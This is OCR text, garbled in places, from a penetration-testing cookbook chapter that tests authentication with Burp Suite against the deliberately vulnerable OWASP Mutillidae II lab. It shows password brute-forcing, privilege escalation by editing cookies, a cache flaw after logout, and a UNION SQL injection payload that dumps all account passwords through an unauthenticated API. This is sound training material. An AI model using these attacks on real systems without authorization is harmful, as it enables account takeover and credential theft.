must highlight Not Logged In to assign the grep match correctly:

Burp Project Intruder Repeater Window Hel Define extract grep item X

Dashboard Target Proxy M 4 @ Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration

1 x 2 x + automatically. You can also medify the configuration manually to ensure it works effectively.
Positions Payloads Resource pool Settings. r & Define start and end [ || Extract from regex group
5 2 @ Start after expression: ‘
Match type: @ Simple string
() Start at offset: Case sensitive
) Regex -
Oca ith tch
o6 sensifive mete @ End at delimiter:
Exclude HTTP headers £ 3
(_) End at fixed length:

@ || Exclude HTTP headers Update config based on selection below | Refetch response |

9 These settings can be used to extract useful informatio

62 </td>
[ Extract the following items from responses: ] fa citD
64 <tr>
&5 <td bgcolor="#ccccff” align="center” colspan="7">
Add I 113 <span class="version-header">Version: 2.6.24</span>
_— 67 <span id="idSecuritylLevelHeading” class="version-header™ style="margin-left: Z0px:
| Edit ">Security Level: 0 (Hosed)</span>
_— €8 <span id="idHintsStatusHeading” CookieTamperingAffectedArea="1" class="
‘ Remove version-header” style="margin-left: Z0px:;">Hints: Enabled (1 - Scrlpt Klddle)</span>
. 69 <span id="idSystemInformationHeading” ReflectedXSSExecutionPoint="1" class="
| Duplicate version-header” style="margin-left: Z0px;">Not Logged In</span>
T R 70 </td>
‘ Up 7| </to>
‘ Down 72| <tr>
73 <td colspan=" class="header- -table™>
74 <table class="header-menu-
| Clear J 75 ctr>
76 <td><a href="inde: Ip ?page=home. phpspopUpNotificationCode=HPHO">Home</a></td>
Maximum capture length: | 100 77 <td>|</td>
e 78 <Ltd>
@ €[> | Not Logged in | 1 match
@ Grep - Payloads | 0K || Cancel |

Figure 4.34 - Grep for string literal

13. If you do not highlight the words properly, after you click OK, you will see [INVALID] inside
the Grep - Extract box. If this happens, remove the entry by clicking the Remove button and
try again by clicking the Add button, performing the search, and highlighting the words.
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14. If you do highlight the words properly, you should see the following in the Grep - Extract box:

| Define extract grep item |

Define the location of the item to be extracted. Selecting the item in the response panel will creat
automatically. You can also modify the configuration manually to ensure it works effectively.

: Define start and end - 1 || Extract from regex grou
gex group
®) Start after expression: | style="margin-left: 20px;"> on\-header" style="margin\-I
(_ Start at offset: 3288 Case sensitive
® End at delimiter: </span>
_ End at fixed length: 13

| Exclude HTTP headers Update config based of selection below

Y] </e>

63| </tr>

64 <tr>

&5 <td bgcolor="#ccccff” align="center"™jcolspan="7">

6 <span class="version-header">{ersion: Z.6.I4</span>

=] ™

ss="version-header”™ style

(=]

<span id="idSecuritylevelHeading™ c
">Security Level: 0 (Hosed)</span>
€8 <span id="idHintsStatusHeading" Cookisf{amperingAffectedArea="1
version-header” style="margin-left: 20px:"> ts: Enabled (1 - Scrlp
<span id="idSystemInformationHeading™ R&flectedXSSExecutionPoi
version-header” style="margin-left: Z0px;"
70 </ed>

[=}]
w

Figure 4.35 - Selecting a string literal to auto-populate the expression start and end boxes

15. If you highlight the words correctly, after you click OK to close the Define extract grep item
dialog box, you will see the following expression in the Grep - Extract text area:
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@ Grep - Extract

O These settings can be used to extract useful information from responses into the attack results table.

Extract the following items from responses:

Add From [ ReflectedXSSExecutionPoint="1" class="ve...

Edit
Figure 4.36 - Final grep rule setting

16. Now, click the Start attack button at the top right-hand side of the Settings page. If your attack
does not start and you see a Resume button, click it to begin your attack. If you do not see the
Resume button, you may disregard this step.

17. A pop-up attack results table appears, displaying the request with the payloads you defined
placed in the payload marker positions. Notice that the attack table that was produced shows
an extra column entitled ReflectedXSSExecution. This column is a result of the Grep - Extract
rule that we set previously.

18. From this attack table, viewing the additional column we added from Grep - Extract, a tester
can easily identify which requests successfully brute-forced the login screen. In this case,
request 2 and request 4:

Attack Save Columns 5. Intruder attack of http://192,168.29.128 - Temporary attack - Not saved to project file

Results Positions Payloads Resource pool Settings

’ Filter: Showing all items

Request Payload Status code Error Timeout Length  ReflectedXSSExecutio... Comment
0 200 | 50800 Not Logged In
1 admini123 200 ) | 50800 Not Logged In
P adminpass 200 O [ 50846 Logged In Admin: <sp...|
3 welcomel 200 O [ 50800 Not Logged In
B sdmin £ ———

Figure 4.37 — Attack table

19. Select request 4 within the attack table and view the Response | Render tab. You should see a
message stating Logged In Admin: admin (g0t r00t?) at the top right-hand side:
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Attack Save Columns 7. Intruder attack of http://192.168.29.128 - Temporary attack - Not saved to project file = [m] X

Results Positions Payloads Resource pool Settings

l Filter: Showing all items ‘@
Request Payload Status code  Error  Timeout Length  ReflectedXSSExecutio... Comment
E admin 302 T T s

Request Response

Pretty Raw Hex Render = i =

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSL

m You are logged in as admin

Reset DB View Log View Captured Data

I
Finished

Figure 4.38 — Results of the attack logged in the session

20. Close the attack table by clicking the X button in the top right-hand corner.

With that, you successfully brute-forced the password of a valid account on the system. Your attack
was successful because the application has a weak lockout mechanism.

Testing for bypassing authentication schemes

Applications may contain flaws, allowing unauthorized access by bypassing the authentication measures
in place. Bypassing techniques include a direct page request (that is, forced browsing), parameter
modification, session ID prediction, and SQL injection.

For this recipe, we will use parameter modification.

Getting ready

Edit the parameters of an authenticated request for a lower-privilege user to elevate up to an admin. We
will use Proxy | Intercept during login and manipulate some cookie values to become a higher role.
Once our privileges have been escalated, we can gain access to administrative functionality without
knowing the admin’s credentials.
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How to do it...

1. Open your Firefox browser, or the Burp Suite browser, and go to the home page of OWASP
Mutillidae IT by using the Home button from the top menu on the left-hand side. Make sure
you are not logged in to the application. If you are logged in, select Logout from the menu:

% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - S5cript K1dd1e) | Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

Figure 4.39 — Confirm you are not logged in

2. Click the Login/Register link to navigate to the Login page:

@4 OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) NotLogged In

Toggle Show Popup Toggle Enforce Reset View View Captured

Home Login/Register Hints Hints Security SSL DB Log Data

m Please sign-in
Username ( ]
| 1

ju

Figure 4.40 - No logged-in session

3. Go to Burp Suite’s Proxy tab and click Intercept is on (toggle on). Type the username of user
and the password of user into the login form:
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n Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.4.5 - seco
Dashboard Target Intruder Repeater Collaborator Sequence
Extensions Learn

HTTP history ~ WebSockets history {5 Proxy settings

Forward Drop Action | Open browser

Figure 4.41 - Proxy | Intercept is on

4. After entering your credentials, you should see that the request is held up in Proxy | Intercept.
Click Forward:

Dashboard Target Iiiﬁﬁﬁiii! Intruder Repeater Collaborator Sequencer Decod
Extensions Learn

HTTP history ~ WebSockets history {5} Proxy settings

/7 Request to http://192,168.29,128:80

Action [ Open browser J [

Pretty Raw Hex a \n

POST /mutillidae/index.php?page=login.php HTTF/1l.1

Host: 192.168.29.128

Content-Length: 57

Cache-Control: max-age=0

Upgrade-Insecure-Recquests: 1

Origin: http://192.168.29.128

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/s5.0 (Windows NT 10.0; Wingd; xc4) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/113.0.5672.127 Safari/537.36

9 Accept:
text/htal,application/xhtml+xml, application/xml;q=0.9,inage/avif, image /webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10 Referer:
http: //192.1668.29.128/mutillidae/index.php ?page=login.phpspopUpNotificationCode=L0UL

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

13 Cookie: showhints=1; PHPSESSID=S770ZjbBcs0épbg3laat8g7rni; acopendivids=
swingset,jotto,phpbbZ,redmine; acgroupswithpersist=nada

14 Connection: close

0o W

W ~1 N

16 username=userspassword=userslogin-php-submit-button=Login

Figure 4.42 - Clicking the Forward button to send the request to the web server
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5. Continue to click Forward until you come to the GET /mutillidae/index.php request,

as shown here. Note the two cookies that we will manipulate - username and uid:

Dashboard Target Intruder Repeater Collaborator Sequencer Decode
Extensions Learn

HTTP history ~ WebSockets history {5} Proxy settings

/7 Request to http://192.168.29,128:80

1
2
3
4
]

€

Forward | Drop Action [ Open browser | r

Pretty Raw Hex a \n

GET /mutillidae/index.php?popUplotificationCode=AUl HTTP/1.1

Host: 192.168.29.128

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/113.0.5672.127 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image /webp,image/apng,
*/%;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer:

htep: //192.168.29.128/mutillidae/index.php?page=login.phpspopUpNotificationCode=L0OUL
Accept-Encoding: gzip, deflate

Accept-Language: en-[ls
Cookie: showhints=1;
acopendivids=swingse
Connection: close

[PSESSID=S7702jbBcs06pbg3laatBgTrml;
acgroupswithpersist=nada

Figure 4.43 — Notice the two cookie values, username and uid
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6. Edit the two cookie values, changing username to admin and uid to 1. Once you've done
this, forward the request:

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder
Extensions Learn

HTTP history WebSockets history {8} Proxy settings

{7 Request to http://192.168.20.128:80

Forward | | Drop | Action [ Open browser | E

Pretty Raw Hex a n =

1 GET /mutillidae/index.php?popUpNotificationCode=AUl HTTP/1.1

2 Host: 192.16B.29.128

3 Cache-Control: max-age=0

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4) AppleWebKit/537.36 (FHTML, like
Gecko) Chrome/113.0.5672.127 Safari/537.36

€ Accept:
text/htnl, application/xhtml+xml,application/xml;q=0.9,image/avif, image /webp, image/apng,
*/%:q=0.8,application/signed-exclange ;v=b3;q=0.7

7 Referer:
http://192.168.29.128/mutillidae) index.php?page=login. phpapopUpNotificationCode=LOUL

2 Accept-Encoding: gzip, d

9 Accept-Language: en-

0 Cookie: showhints=1;
acopendivids=swingse acgroupswithpersist=nada

11 Connection: close

Figure 4.44 — Manipulating the cookie values to elevate privileges

7. After forwarding the request, choose Proxy | Intercept is off (toggle off):

n Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.4.5 - seco

Dashboard Target Intruder Repeater Collaborator Sequencer
Extensions Learn

HTTP history ~ WebSockets history {5} Proxy settings

Forward Drop Action | Open browser

Figure 4.45 — Proxy | Intercept is off
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8. Return to your browser; notice that you are now logged in as admin. You've elevated your
standard user privileges to become an administrator:

Response

Raw | Headers | Hex | HTML | Render

®% OWASP Mutillidae II: Web Pwn in Mass Production

Security Level: 0 (Hosed) Hints: Enabled (1 - Script K1lddle) ILogged In Admin: admin (got rom?l

Version: 2.6.24

Show
Popup
Hints

Toggle Enforce Reset View
Security SSL DB Log

Toggle

Home Logout Hints

OWASP 2013 Mutillidae: Deliberately
OWASP 2010 Vulnerable Web Pen-Testing
OWASP 2007 Application

Figure 4.46 — Session now shows the admin session

How it works...

By manipulating cookie values that are easily guessable, we can elevate our authenticated session from
a regular user to an administrator.

Testing for browser cache weaknesses

Browser caching is provided for improved performance and a better end user experience. However,
when sensitive data is typed into a browser by the user, such data can also be cached in the browser
history. We can view this cached data by examining the browser’s cache or simply pressing the browser’s
back button.

Getting ready

Using the browser’s back button, determine whether login credentials are cached, allowing for
unauthorized access. Examine these steps in Burp to understand the vulnerability.
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How to do it...

1. Login to the Mutillidae application as admin with a password of admin:

< C A Notsecure | 192.168.29.128/mutillidae/index.php?popUpNotificati.. o & Y ) & & O &

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Logged In Admin{ adminl
(g0t ro0t?)

Toggle Show Popup Enforce View Captured

Home Logout Hints. Hints SSL Log Data

Mutillidae: Deliberately Vulnerable Web Pen-

Testing Application

Figure 4.47 - Logging in as admin

2. Now, log out of the application by clicking the Logout button from the top menu.

| @ OWASP Mutillidae II: Web Pwn in Mass Production |

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Logged In Admin: admin
(g0t ro0t?)

Home |Logout Toggle Show Popup Enforce View View Captured

Hints Hints 5S1L Log Data

Figure 4.48 - Logout

3. Verify you are logged out by noting the Not Logged In message:

<« C' A Notsecure | 192.168.29.128/mutillidae/index.php?page=loginphp&po.. 1= % EH & & O &

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24

Security Level: 0 (Hosed)

Hints: Enabled (1 - 5cript K1dd1e) | Not Logged In

Toggle Show Popup Toggle Enforce Reset A\ View Captured

Home Login/Register Hints Hints Security SSL [1]:] Log DELE]

Please sign-in
Username [ )
Password )

& _ Loain

Figure 4.49 - Verifying that you're not logged in
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4. View these steps as messages in Burp’s Proxy | HT'TP history area as well. Note that the logout
performs a 302 redirect to not cache cookies or credentials in the browser:

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger {5} Settings
Extensions Learn

Intercept I HT Eﬁﬁory I WebSockets history {8} Proxy settings

Filter: Hiding out of scope items; hiding CSS, image and general binary content ‘@
# v Host Method URL Params  Edited | Statuscode | Length MIMEt
216 http://192.168.29.128 iGET /mutillidae/index.php?do=logout i v HIML
Q== &
Request Response
Pretty Raw Hex a n = Pretty Raw Hex Render n = =
1 GET /mutillidae/index.php?do=logout HTTP/1.1 1 HTTP/1.1 302 Found =
2 Host: 192.1£8.29.128 2 Date: Wed, 31 May 2023 17:16:24 GMT a
3 Upgrade-Insecure-Requests: 1 3 Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 =
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) PHP/5.3.2-1lubuntud. 30 with Suhosin-Patch proxy html/3.0.1 3]
AppleWebKit/537.36 (KHTML, like Gecko) mod_python/3.3.1 Python/2.6.5 mod_ssl1/2.2.14 3
Chrome/113.0.5672.127 Safari/537.36 OpenSSL/0.9.8k Phusion Passenger/4.0.38 mod perl/2.0.4 ]
5 Accept: Perl/v5.10.1

text/htnl, application/xhtml+xml, application/xml;q=0.9,i
nage/avif, image/webp, image/apng, */*;q=0.8,application/s Expires: Thu, 19 Nov 1581 08:52:00 GMT
igned-exchange ;v=b3:¢=0.7 Cache-Control: no-store, no-cache, must-revalidate,
Referer: post-check=0, pre-check=0
http://192.1£8.29.128/mutillidae/index. php ?popUpNotific Pragma: no-cache

ationCode=AUL Set-Cookie: uid=deleted; expires=Tue, 31-May-2022 17:16:23
Accept-Encoding: gzip, deflate GMT

Accept-language: en-US,en;q=0.9,en-CA;q=0.8

s

X-Powered-By: PHP/S5.3.Z2-lubuntu4.30

-
4 mn

@

o

Set-Cookie: username=deleted; expires=Tue, 31-May-2022

[ ]

Cookie: showhints=1; username=user; uid=23; PHPSESSID= 17:16:23 GMT

977023bBes0Epbg3laatByTrnl; acopendivids= 10 Location:

swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada index.php?page=1login. phpspopUpNotificationCode=L0UL
10 Connection: close 11 Vary: Accept-Encoding
11 12 Content-Length: 0
12 13 Connection: close

14 Content-Type: text/html

Figure 4.50 - Finding the logout request under Proxy | HTTP history

5. From your Firefox browser, click the back button:

§ 192.168.29.128/mutillidae/index. X

&« C A Notsecure | 192

@« OWASP M

Figure 4.51 — Using the browser’s back button

Notice that you are now logged in as admin even though you did not log in! This is possible
because of cached credentials stored in the browser and the lack of any cache-control protections
set in the application:
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l 192.168.29.128/mutillidae/index. X +

& > C A Notsecure | 192.168.29.128/mutillidae/index.php?popUpNotificationCo... 12 v E & & O 2

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) | Logged In Admin: admin
(g0t r00t?)

Toggle Show Popup Enforce View Captured

(s | oo Hints Hints Security SSL DB Log Data

‘ Mutillidae: Deliberately Vulnerable Web Pen-

Testing Application

OWASP 2007 L4

Figure 4.52 - The browser caches the session so that we are still

logged in, even after clicking the Logout button

6. Now, refresh/reload the page in your browser; you will see you are now logged out.

How it works...

No request is captured in Burp Suite when you press the browser’s back button. This is because the
back button action is isolated within the context of the browser. No message was sent through Burp
Suite to the web server to perform this action. This is an important distinction to note. Due to a lack
of caching protection, we found a vulnerability where the logout does not destroy the session on the
client side.

Testing the account provisioning process via the REST API

Account provisioning is the process of establishing and maintaining user accounts within an application.
Provisioning capabilities are usually restricted to administrator accounts. Penetration testers must
validate that account-provisioning functions are only available to users with proper identification and
authorization. A common venue for account provisioning is through REST API calls. Many times,
developers may not put the same authorization checks in place for API calls that are used in the Ul
portion of an application.

Getting ready

Using REST API calls available in the OWASP Mutillidae II application, determine whether any
unauthenticated API calls exist and whether such calls can provision or modify users.

173



174 Assessing Authentication Schemes

How to do it...

Make sure you are not logged in to the application. If you are, click the Logout button from the top
menu. Now;, follow these steps:

1.  Within Mutillidae, browse to the User Lookup (SQL) page and select OWASP 2013 | A1l
Injection (SQL) | SQLi - Extract Data | User Info (SQL):

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1 - Injection (SQL) » | SQLi - Extract Data » | User Info (SQL)

Figure 4.53 — User lookup page

2. Typeuser for Name and user for Password, and then click View Account Details. You should
see the results shown in the following screenshot. This is the account we will test provisioning
functions against using API calls:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In
Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

( User Lookup (SQL) ]
G o @ e

Hints

A‘AX Switch to SOAP Web Service version XML Switch to XPath version
= [

»
[ Please enter username and password }

to view account details
@ Name (
Getting Started: —
P d
Project Whitepaper asswor
’ Dont have an account? Please register here
Results for "user".1 records found.
Release -
Announcements Username=user
Password=user
Signature=User Account
You

_

Figure 4.54 — Database results for the user account
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Through crawling, Burp Suite can find /api or /rest folders. Such folders are clues that an
application is REST-API-enabled. A tester needs to determine which functions are available
through these API calls and whether those calls require authentication.

3. For Mutillidae, the /webservices/rest/ folder structure offers account provisioning
capabilities through API calls. Look for these folders via Target | Site map:

[ ¥ s mutillidae_|
>/
> @ capture-data.php
> [ documentation

[ framer.html

[ images

[ includes

ik index.php

r Javascript

& level-1-hints-page-wrapper.php

r phpmyadmin

WOOW W W W W

[ set-up-database.php
T webservices
v [T rest
[] ws-user-account.php
> [ soap
[ mutillidae

Figure 4.55 — API directory structure

4. To go directly to this functionality within Mutillidae, select Web Services | REST | SQL Injection
| User Account Management:

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

User Lookup (SQL)

Web Services

» [SQL Injection » | User Account Management

HTML 5
Username Enumeration

Figure 4.56 — Navigating to the User Account Management documentation page

You will be presented with a screen describing the supported API calls and the parameters
required for each call. We will refer to this page as the User Account Management page. The
URL of this page of the web root is /webservices/rest/ws-user-account.php:
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_ 0‘ e _

':_(—/_: - @ @ (@ 192.168.56.101/mutillidae/webservices/rest/ws-user-acco B - 9%

Back to Home Page

Help: This service exposes GET, POST, PUT, DELETE methods. This service is vulnerable to SQL injection in security level 0.

DEFAULT GET: (without any parameters) will display this help plus a list of accounts in the system.

Optional params: None.

GET: Either displays usernames of all accounts or the username and signature of one account.
Optional params: username AS URL parameter. If username is "** then all accounts are returned.
Example(s):

Get a particular user: /mutillidae/webservices/rest'ws-user-account.php?username=adrian
Get all users: /mutillidae/webservices/rest'ws-nser-account. phptusername="*

Example Exploit(s):

SQL injection: /mutillidae/webservices/rest/ws-user-

POST: Creates new account.

Required params: username, password AS POST parameter.
Optional params: signature AS POST parameter.

PUT: Creates or updates account.

Required params: username, password AS POST parameter.
Optional params: signature AS POST parameter.

Figure 4.57 — User Account Management APl documentation page

5.  Within this User Account Management API documentation page, note the GET call section.
This page is similar to Swagger or other self-explanatory API pages and provides instructions
on the required format to display account information for a single user or all users:
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GET: Either displays usernames of all accounts or the username and signature of one account.

Optional params: username AS URL parameter. If username is "*" then all accounts are returned.

Example(s):

Get a particular user: /mutillidae/webservices/rest/ws-user-account. php?username—adrian
Get all users: /mutillidae/webservices/rest/ws-user-account.php?username==*

Example Exploit(s):

SQL injection: /mutillidae/webservices/rest/ws-user-account.php?
username=jeremy'+uniontselecttconcat('Thetpassword+fort' username,'+ist',. +password),mysignaturetfromtaccounts +--+

Figure 4.58 — APl instructions to get account information

6. Using the instructions from the User Account Management API documentation page, let’s invoke
the GET API to view user accounts. To begin, find the call to the User Account Management

page under Proxy | HT'TP history.

7. Go to the Proxy | HTTP history table and select the latest request you made to navigate to the
User Account Management page. Look for the /mutillidae/webservices/rest/
ws-user-account . php call in the history. Once found, right-click and send this request

to Repeater:

Dashboard  Target [“Proxy | Intruder  Rep
Intercept HTTP history WebSockets history

Collab

@ Proxy settings

| Filter: Hiding out of scope items; hiding CSS, image and general binary content

# v Host
235 http://192.168.29.128

Method
GET /mutillidae/webservices/rest/v

Request
Pretty Raw Hex
1 GET /mutillid

webservices/rest/ws-user-account.php

n =

HTTP/1.1
2 Host: 192.168.29.128

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0

AppleWebKit/537.36 (KHIML, like Gecko)
Chrome/113.0.5672.127 Safari/537.36

w

Accept:

text/htnl, application/x
nage/avif,image/webp,im
igned-exchange ;v=b3;q=0
Referer:
http://192.1608.29.128/n
fo.phpsusername=userspa
-button=ViewtAccount+De
Accept-Encoding: gzip,
Accept-Language: en-US,
Cookie: showhints=1; PH
nfSmgbvep00tgtktivkng4l
swingset, jotto,phpbb2,r
10 Connection: close

o

~

-

(Windows NT 10.0; Win&4: x&4)

Scan

0

Do passive scan 4
Do active scan
Send to Intruder Ctrl+|

Ctr+R

(i)

Send to Sequencer
Send to Comparer
Send to Decoder a
Show response in browser

e

Figure 4.59 - Sending the call to the User Account Management page to Repeater
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8. In Burps Repeater, add ?, followed by a parameter name/value pair of username=user,
to the URL. The new URL should be /mutillidae/webservices/rest/ws-user-
account .php?username=user:

Dashboard Target Proxy Intruder | Repeater | Collaborator Sequencer
1 x 2 x 3 x 4 x 5 x 6 x 7 % 8 x 9 x 12 x

m @| Cancel <Iv[|>]r

Request

1 GET /mutillidae/webservices/rest/ws-user-account.phj
HTTP/1.1 —

2 Host: 192.1£8B.29.128
Upgrade-Insecure-Requests: 1

w

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WingE4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5872.127
Safari/537.36

5 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/

webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer:

http://192.168.29.128/mutillidae/index.php?page=user-info.phpsusernames=

userspassword=usersuser-info-php-subnit-button=View+Account+Details

7 Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

9 Cookie: showhints=1; PHPSESSID=nf9mqgbvcp00tqtktOvkng4lrb4; acopendivids
=swingset,jotto,phpbbl,redmine; acgroupswithpersist=nada

10 Connection: close

o

o

Figure 4.60 — Adding a username parameter

9. Click the Send button - notice that we can retrieve our account data:

Dashboard Target Proxy Intruder | Repeater | Collaborator Sequencer Decoder Comparer Logger Extensions Learn S} Set
1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x 9 x 12 x 13 = User baseline x Param mod to Admin x 16 * +

|@ Cancel |[<(v|[>]7] Target: http://192.16820.128 /° | HTPN
a-=-

Request Response

Pretty  Raw  Hex B VY = | pPetty Raw  Hex  Render B v =

1 GET /mutillidae i rest/w php :: 1 HTTP/1.1 200 OK
HITP/1.1 2 Date: Thu, 01 Jun 2023 09:37:00 GMT

2 Host: 192.1£8.29.128 3 Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/S5.3.2-lubuntud.30

3 Upgrade-Insecure-Requests: 1 with Suhosin-Patch proxy_html/3.0.1 mod python/3.3.1 Python/2.6.5

4 User-Agent: Mozilla/5.0 (Windows NT 10.0: Winf4: x64) AppleWebKit/537.36 mod_ss1/2.2.14 OpenSSL/0.9.8k Phusion Passenger/4.0.38 mod perl/2.0.4
(KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 Perl/v5.10.1

5 hccept: 4 X-Powered-By: PHP/5.3.2-lubuntud.30

text/htul,application/xhtml+xml,application/xml;q=0.9, inage/avif, image/v Expires: Thu, 19 Nov 1981 08:52:00 GMT

ebp,image/apng, */*:q=0.8,application/signed-exchange :v=b3:q=0.7 Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
Referer: pre-check=0

heep://192.168.29.128/mutillidae/index. php?p. r-info. am e =1 Pragma: no-cache
serepassvord=usersuser-info-php-submit-button=ViewrAccount+Details Vary: Accept-Encoding

Accept-Encoding: gzip, deflate Content-Length: 72

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 Connection: close

o
oo

W
© 1w

Cookie: showhints=1; PHPSESSID=nf9mql tOvkng4lrbd: ivids= Content-Type: text/html
swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada
10 Connection: close ‘ esult: (Accounts: ername”:"user”,"mysignature”: "User

Account”)1})

Figure 4.61 - Viewing the results of the request
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10.

Now, to determine whether we can see this data as an unauthenticated user, remove the value
of the PHPSESSIONID cookie and resend the request. Amazing! No authentication token
is required to perform such actions! We just found an unauthenticated API call! This is a
huge finding:

Dashboard Target Proxy Intruder Collaborator Sequencer Decoder Comparer Logger Extensions Leam @5
1% 2 x 3 % 4 x 5 % 6 x 7= 8 x 9 x 12 = 13 % User baseline x Param mod to Admin x 16 x  +

@[ Caneel |[<I7][>17] Target: http://192.16820.128 /9 | HTT

a= =

Request Response

Pretty Hex B ™ = | Pty Rw  Hex  Render no=

1 GET /mutillidae/webservices/rest/vs-user-account.php’username=user 1 HTTP/1.1 200 OK
HTTP/1.1 2 Date: Thu, 01 Jun 2023 09:50:36 GMT

2 Host: 192.1€8.29.128 3 Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.Z2-lubuntud.30

3 Upgrade-Insecure-Requests: 1 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4

(KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 Perl/v5.10.1

S Accept: 4 X-Powered-By: PHP/S.3.2-lubuntud.30
text/html,application/xhtml+xml,application/xnl;q=0.9,inage/avif, inage/w 5 Set-Cookie: PHPSESSID=3s3)q9pjf75tsfgiSbslSmujp3; path=/
ebp,image/apng,*/*;q=0.8,application/signed-exchange ;v=b3:q=0.7 € Expires: Thu, 19 Nov 1981 0B8:52:00 GMT

6 Referer: 7 Cache-Control: no-store, no-cache, must-revalidate, post-check=0,

w o -

10

12

http://192.168.29.128/mutillidae/index.php ?pas
serspassvord=usersuser-info-php-submit-br
Accept-Encoding: gzip, deflate
Accept-Language: en-! H
Cookie: showhints=1;

r-info. ame =u pr!
iewtAccount+Details Pragna: no-cache
Vary: Accept-Encoding
10 Content-Length: 72
acopendivids= 11 Connection: close

@

w

swingset, jotto,phpbbZ, ¥ acgroupsvithpersist=nada 12 Content-Type: text/html

Connection: close

11.

12.

1
14 Result: (A : {[{"username”:"user”,"mysignature”:"User
Account”)}]}}

Figure 4.62 - Removing the authentication token; note that the results are still returned

Let’s see what else we can do against this unauthenticated API endpoint. Using the SQL injection
string given on the User Account Management page, let’s attempt to dump the entire user table.

Append the following value after username=:

user'+union+select+concat (' The+password+for+', username,
'+is+', +password) ,mysignature+from+accounts+--+

The new URL should be as follows:

/mutillidae/webservices/rest/ws-user-account.php?username=user’
+union+select+concat ('The+password+for+',username, '+is+"',
+password) ,mysignature+from+accounts+--+
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13. Click the Send button after making the change to the username parameter. Your request
should look as follows:

Dashboard Target Proxy Intruder | Repeater | Collaborator Sequencer
1 x 2 % 3 x 4 x 5 % 6 % 7 % 8 x 9 x 12 x

|@| Cancel |[<v][>17]

Request
Pretty Raw Hex B \n =

1 GET /mutillidae/webservices/rest/ws-user-account.php?username=
jeremy'+union+select+concat (' The+passvord+for+',username, '+is+',+passvor
d) ,mysignature+from+accounts+--+ HTTP/1.1

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4) AppleWebKit/537.36
(FHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36

5 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

€ Referer:

http://192.168.29.128/mutillidae/index.php?page=user-info.phpsusername=u

serapassvord=usersuser-info-php-submit-button=View+Account+Details

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=1; PHPSESSID=; acopendivids=

swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada

10 Connection: close

0 o~

Figure 4.63 — Using a SQL injection attack in the username parameter

14. Notice that we dumped all the accounts in the database that are displaying all usernames,
passwords, and signatures! We also dumped this data without any authentication token:
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Response u..

Pretty Raw Hex Render a n =

HTTP/l.1 200 OE

Date: Thu, 01 Jun 2023 09:54:44 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.Z-lubuntud. 30
